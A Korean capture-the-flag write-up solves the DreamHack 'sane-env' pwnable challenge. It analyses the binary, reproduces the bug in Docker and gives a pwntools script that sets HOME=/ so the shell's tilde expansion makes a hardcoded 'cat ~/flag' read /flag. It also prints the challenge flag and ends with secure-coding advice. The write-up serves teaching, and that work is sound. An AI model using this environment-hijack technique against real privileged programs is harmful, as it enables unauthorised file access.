문제: DreamHack — sane-env 분류: pwnable 난이도: 🥉 Bronze 4 FLAG:
DH{721be0e59f169526234c4375d25705142979af803b5e8a3419e70ff07fb652ae}
문제 설명은 짧다.
드림이의 사랑
system()... 드림이는system()을 잃을 수 없대요! 명령어도 하드코딩되었는데 별 문제 없겠죠? 플래그는/flag파일에 있습니다.
"명령어도 하드코딩되었는데"라는 문장이 이 문제의 전부다. 명령 문자열을 우리가 못 건드리면 안전할 것 같지만, system() 은 문자열을 그대로 실행하는 함수가 아니다. 셸을 한 번 더 띄운다.
문제 개요
| 항목 | 내용 |
|---|---|
| 문제명 | sane-env |
| 난이도 | 🥉 Bronze 4 |
| 분류 | pwnable |
| 제공 파일 | sane-env (x86-64 ELF, 16KB) |
| 서버 | host3.dreamhack.games:18361 (드림핵 라이브 VM) |
| 보호 기법 | Full RELRO · Canary · NX · PIE · SHSTK/IBT |
| 핵심 취약점 | system() 이 띄우는 /bin/sh 의 틸드 확장이 $HOME 을 참조 |
메뉴는 네 개다. 환경변수를 넣고(1), 지우고(2), 하드코딩된 system() 을 부르고(3), 나간다(4).
3번이 부르는 명령은 cat ~/flag 로 고정이고, 그 직전에 프로그램이 PATH 를 표준값으로 되돌린다. 그래서 흔한 cat 하이재킹은 애초에 막혀 있다. 남은 건 명령 문자열 안의 물결표 하나다.
🧩 배경 — system() 은 셸을 하나 더 띄운다
system("...") 은 명령을 직접 실행하지 않는다. 내부적으로 fork 후 아래를 실행한다.
execl("/bin/sh", "sh", "-c", command, (char *) NULL);즉 우리가 넘긴 문자열은 셸의 입력이다. 셸이 그 문자열을 읽으며 하는 일이 전부 공격면이 된다 — 단어 분해, 변수 확장, 틸드 확장, PATH 를 훑는 실행 파일 탐색.
이 문제가 막은 건 그중 마지막 하나뿐이다. PATH 를 원상복구하는 데 쓰인 함수는 confstr 이다.
size_t confstr(int name, char *buf, size_t len);
/* _CS_PATH (== 0) : "표준 유틸리티를 찾을 수 있다고 보장되는 PATH".
glibc 는 "/bin:/usr/bin" 을 돌려준다. */confstr(_CS_PATH, ...) 는 시스템이 보장하는 기본 PATH 문자열을 돌려준다. 사용자가 PATH 를 어떻게 오염시켜 놨든 이 값으로 덮어쓰면 cat 은 항상 진짜 /bin/cat 이 잡힌다. 문제 제목의 "sane env" 가 이걸 가리킨다.
문제는 셸이 참조하는 환경변수가 PATH 하나가 아니라는 것이다.
🔬 정찰 — 무엇을 부르는 바이너리인가
먼저 파일 종류와 보호 기법부터 본다. 매번 두 줄을 따로 치기 귀찮아 스크립트로 묶었다.
#!/usr/bin/env bash
# sane-env 정찰 — 파일 종류와 보호 기법
cd "$(dirname "$(readlink -f "$0")")"
file extracted/sane-env
echo
checksec --file=extracted/sane-env./recon.sh
보호 기법은 전부 켜져 있다. Full RELRO 라 GOT 덮어쓰기는 없고, 카나리와 PIE 도 살아 있다. 메모리 손상으로 풀 문제가 아니라는 신호다.
다음은 심볼이다. 바이너리가 직접 가진 함수와 libc 에서 끌어다 쓰는 함수를 나눠서 봤다.
#!/usr/bin/env bash
# 바이너리가 직접 가진 함수와, libc 에서 끌어다 쓰는 함수를 나눠서 본다
cd "$(dirname "$(readlink -f "$0")")"
echo "[정의된 함수]"
nm extracted/sane-env | grep ' T ' | sort
echo
echo "[libc 에서 가져오는 것]"
readelf --dyn-syms -W extracted/sane-env | awk '$7 == "UND" && $8 != "" {print " " $8}'./syms.sh
setenv · unsetenv · confstr · system 이 한자리에 있는 것만으로 문제의 성격이 드러난다. 환경변수를 갖고 노는 문제다.
flag 라는 이름의 함수도 보이는데, 뒤에서 보겠지만 이건 미끼다.
문자열도 훑는다.
strings -a extracted/sane-env | grep -nE "flag|PATH|/bin/sh|hack"
cat ~/flag 가 그대로 박혀 있다. 그리고 /bin/sh 문자열은 따로 하나 더 있다 — 이건 system() 이 쓰는 게 아니라(그건 libc 안에 있다) 바이너리 자신이 참조하는 것이다.
🧱 3번 메뉴가 실제로 하는 일
3번 분기만 잘라서 디스어셈블했다. 오류 처리 분기(각각 puts 후 exit)가 네 군데 끼어 흐름이 잘 안 보여서, 주소 범위로 걷어내고 주석을 얹었다.
s|call.*<confstr@plt>|& <-- _CS_PATH 조회(길이 → 값)|
s|call.*<malloc@plt>|& <-- 그 길이만큼 버퍼|
s|lea .*# 2158 .*|& <-- "PATH"|
s|call.*<setenv@plt>|& <-- setenv("PATH", 표준경로, 1) : PATH 하이재킹 봉쇄|
s|lea .*# 2170 .*|& <-- "cat ~/flag"|
s|call.*<system@plt>|& <-- system("cat ~/flag")|위 치환 규칙을 annot_case3.sed 에 두고, objdump 출력에 얹어 찍는 스크립트다.
#!/usr/bin/env bash
# 3번 메뉴(하드코딩 system) 구간만 디스어셈블한다.
# - annot_case3.sed 로 핵심 call 에 주석을 얹고
# - "실패하면 puts + exit" 네 군데 오류 분기는 걷어내 흐름만 남긴다
cd "$(dirname "$(readlink -f "$0")")"
objdump -d -M intel --no-show-raw-insn \
--start-address=0x1715 --stop-address=0x1822 extracted/sane-env \
| tail -n +8 \
| sed -f annot_case3.sed \
| awk '{
if (match($1, /^[0-9a-f]+:$/)) {
a = strtonum("0x" substr($1, 1, length($1) - 1))
if ((a >= 0x173a && a <= 0x174e) || (a >= 0x1773 && a <= 0x1787) ||
(a >= 0x17ac && a <= 0x17c0) || (a >= 0x17e8 && a <= 0x17fc)) next
}
print
}'./disas_case3.sh
0x1810 의 lea 가 가리키는 0x2170 이 아까 strings 에서 본 cat ~/flag 이고, 바로 다음 명령이 system@plt 호출이다. 그 사이에 우리가 끼어들 자리는 없다. C 로 옮기면 이렇다.
size_t len = confstr(_CS_PATH, NULL, 0); /* 필요한 길이 */
char *buf = malloc(len);
confstr(_CS_PATH, buf, len); /* "/bin:/usr/bin" */
setenv("PATH", buf, 1); /* 덮어쓰기 1 = 강제 */
free(buf);
system("cat ~/flag");인자도 고정, PATH 도 고정. 여기까지만 보면 손댈 곳이 없어 보인다.
일단 눌러본다 — 로컬 컨테이너
원격에 붙기 전에 같은 배치를 로컬에 만들었다. 플래그는 /flag 에 있고 홈 디렉토리에는 없는 상태다.
# 로컬 재현용 — 원격과 같은 조건(플래그가 /flag 에 있고, HOME 에는 없다)을 만든다.
FROM ubuntu:22.04
RUN useradd -m chall
RUN echo 'DH{local_dummy_flag_for_verification_only}' > /flag && chmod 644 /flag
COPY extracted/sane-env /home/chall/sane-env
RUN chmod +x /home/chall/sane-env
USER chall
WORKDIR /home/chall
ENV HOME=/home/chall
CMD ["/home/chall/sane-env"]docker build -f Dockerfile.local -t sane-env-local .아무것도 안 건드리고 3번만 눌러본다.
#!/usr/bin/env bash
# HOME 은 그대로 두고 3번만 눌러 본다. 컨테이너 배치는 원격과 같다 — /flag 는 있고 홈에는 없다.
cd "$(dirname "$(readlink -f "$0")")"
printf '3\n4\n' | docker run -i --rm sane-env-local./demo_before.sh
cat: /home/chall/flag: No such file or directory. 플래그는 /flag 에 있는데 cat 은 홈 아래를 봤다. 이 한 줄이 힌트를 다 준다 — ~ 가 이미 무언가로 치환되고 있다.
🐛 삽질
▶🐛 삽질 1 — PATH 를 바꿔치면 되지 않나
가장 먼저 떠오르는 건 1번 메뉴로 PATH 를 우리 디렉토리로 바꾸고, 거기에 가짜 cat 을 두는 그림이다. 소스를 이미 봤으니 안 될 걸 알지만, 정말 안 되는지 실행으로 확인하고 넘어갔다.
PATH 를 존재하지 않는 경로 하나로 바꿔 놓고 3번을 누른다. 정말 PATH 가 /nonexistent 라면 셸은 cat: not found 를 내야 한다.
#!/usr/bin/env bash
# 삽질 1 — PATH 를 엉뚱한 곳으로 바꿔 놓고 3번을 눌러 본다.
# 정말로 PATH 가 /nonexistent 라면 sh 는 "cat: not found" 를 내야 한다.
cd "$(dirname "$(readlink -f "$0")")"
printf '1\nPATH\n/nonexistent\n3\n4\n' | docker run -i --rm sane-env-local./demo_pathhijack.sh
cat: not found 가 아니라 아까와 똑같은 No such file or directory 가 나왔다. cat 이 멀쩡히 실행됐다는 뜻이고, 곧 우리가 넣은 PATH 가 system() 직전에 지워졌다는 뜻이다. confstr 복구가 실제로 동작하는 걸 눈으로 확인한 셈이다.
이 방향은 여기서 접었다.
▶🐛 삽질 2 — 안 쓰이는 flag() 함수로 뛸 수 없나
nm 에 flag 라는 함수가 보였다. 열어 보면 셸을 띄운다.
000000000000138e <flag>:
13a9: lea rax,[rip+0xc54] ; 0x2004 = "/bin/sh"
13b0: mov QWORD PTR [rbp-0x28],rax
13b4: mov rax,QWORD PTR [rbp-0x28]
13b8: mov QWORD PTR [rbp-0x20],rax ; argv[0]
13bc: mov QWORD PTR [rbp-0x18],0x0 ; argv[1] = NULL
13d7: call 11c0 <execve@plt>전형적인 win 함수라 리턴 주소만 덮으면 될 것처럼 보인다. 그런데 입력 경로를 재보면 넘칠 자리가 없다.
1546: lea rax,[rbp-0x210]
154d: mov esi,0x100 ; 이름 버퍼: 0x210 자리에 최대 0x100
1555: call 11b0 <fgets@plt>
15af: lea rax,[rbp-0x110]
15b6: mov esi,0x100 ; 값 버퍼: 0x110 자리에 최대 0x100
15be: call 11b0 <fgets@plt>
1480: mov rax,QWORD PTR fs:0x28
1489: mov QWORD PTR [rbp-0x8],rax ; 카나리값 버퍼는 rbp-0x110 에서 시작해 최대 0x100 바이트를 받으니 rbp-0x10 에서 끝난다. 카나리는 rbp-0x8 이다. 딱 8바이트 모자라게 설계돼 있다. fgets 라 널 종료도 하나 붙는다.
메뉴 선택은 scanf("%d") 로 정수 하나만 받고, 나머지 입력은 전부 이 두 버퍼로만 들어간다. 메모리 손상 경로가 아예 없다. 보호 기법이 전부 켜져 있던 것과도 맞아떨어진다.
flag() 는 "여기 win 함수 있으니 스택 뒤져봐"라고 시간을 쓰게 만드는 미끼다.
💣 핵심 — ~ 를 푸는 건 프로그램이 아니다
삽질 1의 출력으로 돌아가 보자. 프로그램은 cat ~/flag 를 넘겼는데 오류 메시지에는 /home/chall/flag 가 찍혔다. 물결표를 홈 경로로 바꾼 주체가 어딘가에 있다.
바이너리에는 그런 코드가 없다. getenv("HOME") 도, 문자열 치환도 없다. 그 일을 하는 건 system() 이 띄운 /bin/sh 다.
POSIX 셸의 틸드 확장은 규칙이 아주 단순하다. 단어 맨 앞의 ~ 뒤에 사용자 이름이 없으면 $HOME 값으로 치환한다. PATH 와는 아무 상관이 없다.
정말 그런지 셸에 직접 물어봤다. env -i 로 환경을 통째로 비우고 HOME 하나만 남겨서, PATH 조차 없는 상태로 확인한다.
#!/usr/bin/env bash
# system() 이 부르는 /bin/sh 가 `~` 를 무엇으로 푸는지 직접 본다.
# env -i 로 환경을 통째로 비워 HOME 하나만 남긴다 — PATH 는 아예 없다.
echo "/bin/sh -> $(readlink -f /bin/sh)"
echo
for h in /home/chall / /tmp; do
printf 'HOME=%-12s -> %s\n' "$h" "$(env -i HOME="$h" /bin/sh -c 'echo ~/flag')"
done
printf 'HOME 없음 -> %s\n' "$(env -i /bin/sh -c 'echo ~/flag')"./tilde_probe.sh
세 줄이 답이다.
HOME=/home/chall이면~/flag는/home/chall/flag. 지금 원격에서 벌어지는 일이다.HOME=/이면~/flag는//flag. 리눅스에서 앞의 슬래시 두 개는 하나와 같으니 곧/flag다.HOME을 아예 지우면~/flag가 문자 그대로 남는다. 그러니 2번 메뉴(unsetenv)는 오히려 손해다.
정리하면 이 그림이 된다.

프로그램이 지킨 것과 셸이 참조하는 것이 어긋나 있다. PATH 만 소독한 환경은 sane 하지 않았다.
이제 1번 메뉴로 HOME 을 루트로 심고 3번을 누른다.
#!/usr/bin/env bash
# 1번으로 HOME=/ 를 심고 3번을 누른다. `cat ~/flag` 가 `cat //flag` 가 된다.
cd "$(dirname "$(readlink -f "$0")")"
printf '1\nHOME\n/\n3\n4\n' | docker run -i --rm sane-env-local./demo_after.sh
로컬 컨테이너의 더미 플래그가 나왔다. 원격에 붙기 전에 여기까지 확인하고 넘어갔다.
🎯 런타임 확인 — system() 진입 순간의 환경
정적 분석과 로컬 실행으로 결론은 났지만, system() 이 실제로 호출되는 순간에 세 값이 어떤 상태인지 한 번 더 확인했다. libc 의 system 에 브레이크를 걸고 rdi 와 두 환경변수를 찍는 gdb 배치 스크립트다.
set confirm off
set pagination off
set breakpoint pending on
set debuginfod enabled off
# libc 의 system 진입 순간에 멈춘다
break system
run < feed_home.txt
printf "\n---- system() 진입 시점 ----\n"
printf "rdi (명령 문자열) = %s\n", (char *) $rdi
printf "PATH = %s\n", (char *) getenv("PATH")
printf "HOME = %s\n", (char *) getenv("HOME")
printf "----------------------------\n\n"
continue메뉴 입력은 파일로 먹인다.
1
HOME
/
3
4gdb -q -batch -iex "set debuginfod enabled off" -x runtime.gdb ./extracted/sane-env
세 줄이 각각 하나씩 증명한다.
rdi 는 cat ~/flag 그대로다. 명령 문자열은 정말 고정이고 우리가 바꾼 게 아니다.
PATH 는 /bin:/usr/bin 이다. 우리가 무엇을 넣었든 confstr 값으로 덮였다.
HOME 은 / 다. 아무도 손대지 않아 우리가 넣은 값이 그대로 살아 있다.
그리고 continue 뒤에 찍힌 cat: //flag: No such file or directory — 로컬에는 /flag 가 없으니 실패하지만, 셸이 ~ 를 / 로 풀어 //flag 를 열려고 했다는 사실이 오류 메시지 안에 그대로 남았다. 여기서는 실패가 더 좋은 증거다.
🚀 Full Exploit
익스플로잇이라 할 것도 없다. 메뉴 1번으로 HOME=/ 를 넣고 3번을 누르면 끝이다. 로컬 컨테이너와 원격을 같은 코드로 다루려고 pwntools 로 감쌌다.
#!/usr/bin/env python3
# sane-env (DreamHack, Bronze 4 / pwnable) — HOME 하이재킹으로 `cat ~/flag` 를 /flag 로 돌린다.
#
# 3번 메뉴는 confstr(_CS_PATH) 로 얻은 표준 PATH 를 setenv("PATH", ...) 로 덮어쓴 뒤
# system("cat ~/flag") 를 부른다. PATH 는 막혔지만 `~` 를 푸는 건 /bin/sh 이고,
# dash 의 틸드 확장은 오직 $HOME 만 본다. 1번 메뉴로 HOME=/ 를 심으면
# `cat ~/flag` 가 `cat //flag` 가 되어 /flag 를 그대로 읽는다.
#
# 사용법:
# python3 solve.py # 원격 (아래 HOST/PORT)
# python3 solve.py host.dreamhack.games 12345
# python3 solve.py local # 로컬 검증 (Dockerfile.local 로 만든 sane-env-local)
import re
import sys
from pwn import context, process, remote
context.log_level = "info"
HOST = "host3.dreamhack.games" # 문제 서버는 켤 때마다 바뀐다
PORT = 18361
LOCAL_IMAGE = "sane-env-local"
# `~` 를 이것으로 붙여 읽는다. HOME=/ → `cat //flag` → 리눅스에선 /flag 와 같다.
HOME_VALUE = "/"
def connect():
if len(sys.argv) > 1 and sys.argv[1] == "local":
# 로컬 검증용 컨테이너: /flag 는 있고 HOME(/home/chall) 에는 없다 — 원격과 같은 배치.
return process(["docker", "run", "-i", "--rm", LOCAL_IMAGE])
host = sys.argv[1] if len(sys.argv) > 1 else HOST
port = int(sys.argv[2]) if len(sys.argv) > 2 else PORT
return remote(host, port)
def set_env(p, name, value):
p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"Environment variable name: ", name.encode())
p.sendlineafter(b"Environment variable value: ", value.encode())
p.recvuntil(b"Environment variable set!")
def run_system(p):
p.sendlineafter(b"> ", b"3")
return p.recvuntil(b"system() worked!", drop=True)
def main():
p = connect()
set_env(p, "HOME", HOME_VALUE) # ← 여기가 전부다
out = run_system(p).decode(errors="replace")
print("[*] system() 출력:", out.strip())
m = re.search(r"DH\{.*?\}", out)
print("[+] FLAG:", m.group(0) if m else "(플래그 형식 없음)")
p.sendlineafter(b"> ", b"4")
p.close()
if __name__ == "__main__":
main()먼저 로컬 컨테이너로 돌려 스크립트 자체가 맞는지 본다.
python3 solve.py local
같은 스크립트를 드림핵 라이브 서버로 향하게 한다.
python3 solve.py host3.dreamhack.games 18361
DH{721be0e59f169526234c4375d25705142979af803b5e8a3419e70ff07fb652ae}🔁 재현
백업만 가지고도 바로 돌아가게 한 방 스크립트를 남겼다. 인자가 없으면 로컬 컨테이너로 동작만 확인하고, 호스트와 포트를 주면 실제 플래그를 받아 문제.json 의 값과 대조한다.
#!/usr/bin/env bash
# sane-env — 한 방 재현.
#
# ./reproduce.sh 로컬 컨테이너 재현 (더미 flag. 진짜 flag 아님)
# ./reproduce.sh <host> <port> 드림핵 라이브 서버 → 진짜 flag
#
# 이 문제는 flag 가 원격 /flag 에만 있어 오프라인으로는 진짜 flag 를 만들 수 없다.
# 그래서 인자 없이 돌리면 "익스가 동작한다"까지만 증명하고, 진짜 flag 대조는 인자를 줬을 때만 한다.
set -eu
cd "$(dirname "$(readlink -f "$0")")"
DUMMY='DH{local_dummy_flag_for_verification_only}'
EXPECT=$(python3 -c "import json;print(json.load(open('문제.json'))['flag'])" 2>/dev/null || echo '')
docker build -q -f Dockerfile.local -t sane-env-local .
if [ "$#" -ge 2 ]; then
MODE=remote
OUT=$(timeout 300 python3 solve.py "$1" "$2" 2>&1) || true
else
MODE=local
echo "※ 인자 없음 → 로컬 컨테이너로만 재현합니다(더미 flag)."
OUT=$(timeout 300 python3 solve.py local 2>&1) || true
fi
echo "$OUT" | tail -8
FLAG=$(printf '%s' "$OUT" | grep -aoE 'DH\{[^}]+\}' | head -1)
if [ "$MODE" = local ]; then
if [ "$FLAG" = "$DUMMY" ]; then
echo; echo "✅ LOCAL PASS HOME 하이재킹 동작 확인 ($FLAG — 로컬 더미이며 진짜 flag 가 아님)"; exit 0
fi
echo; echo "❌ FAIL (얻은 값: '${FLAG:-없음}' / 기대: '$DUMMY')"; exit 1
fi
if [ -n "$FLAG" ] && { [ -z "$EXPECT" ] || [ "$FLAG" = "$EXPECT" ]; }; then
echo; echo "✅ PASS $FLAG"; exit 0
fi
echo; echo "❌ FAIL (얻은 값: '${FLAG:-없음}' / 기대: '$EXPECT')"; exit 1글에 쓴 명령이 돌아간 환경은 아래와 같다. 특히 /bin/sh 가 무엇으로 연결돼 있는지가 이 문제에서는 의미가 있다 — dash 든 bash 든 틸드 확장은 같지만, 셸이 읽는 다른 변수(뒤에 적는 BASH_ENV 같은 것)는 구현마다 다르다.
| 항목 | 값 |
|---|---|
| OS | Ubuntu 25.10 |
/bin/sh | /usr/bin/dash |
| Python | 3.13.7 |
| pwntools | 4.15.0 |
| gdb | 16.3 |
| objdump | GNU Binutils 2.45 |
| Docker | 29.7.2 (로컬 재현 컨테이너는 ubuntu:22.04) |
📝 결론
system() 을 쓰는 순간 명령 문자열은 더 이상 문자열이 아니다
인자를 하드코딩했다는 사실은 생각보다 적게 보장한다. system() 은 문자열을 셸에 넘기고, 셸은 그걸 실행 전에 한 번 해석한다. 틸드 확장, 변수 확장, 글롭, 리다이렉션이 전부 그 해석 단계에서 일어난다.
이 문제는 그 해석 단계 중 딱 하나(PATH 탐색)만 막아 놓고 나머지를 열어 뒀다.
환경변수를 소독하려면 허용 목록으로 해야 한다
PATH 만 되돌리는 건 차단 목록 방식이다. 셸이 참조하는 변수는 그것 말고도 많다. HOME 은 틸드 확장에 쓰이고, IFS 는 단어 분해 방식을 바꾸며, bash 라면 비대화형 셸이 BASH_ENV 가 가리키는 파일을 실행한다. 동적 링커까지 내려가면 LD_PRELOAD 와 LD_LIBRARY_PATH 도 있다.
하나씩 지워 나가는 방식은 목록에서 빠진 것 하나로 무너진다. execve 로 필요한 변수만 담은 새 envp 를 직접 구성하는 쪽이 맞다.
애초에 셸을 띄우지 않는 선택지가 있다
cat ~/flag 를 실행하려던 것뿐이라면 셸이 필요 없다. execve("/bin/cat", ["cat", "/flag"], NULL) 이면 해석 단계 자체가 사라진다. 재미있게도 이 바이너리에는 쓰이지 않는 flag() 함수가 정확히 그 형태(execve 직접 호출)로 들어 있다. 안전한 방법을 옆에 두고 굳이 system() 을 쓴 셈이다.
미끼는 보호 기법이 알려준다
flag() 라는 이름의 win 함수를 보면 스택을 뒤지고 싶어진다. 하지만 Full RELRO에 카나리, PIE, 그리고 입력 버퍼가 카나리보다 정확히 8바이트 모자라게 잡혀 있다면 메모리 손상 경로는 설계상 닫혀 있다고 보는 편이 빠르다. 보호 기법 표는 방어 정보이기도 하지만, 출제자가 어느 방향을 막았는지 알려주는 지도이기도 하다.
Comments
댓글
댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)
댓글 불러오는 중…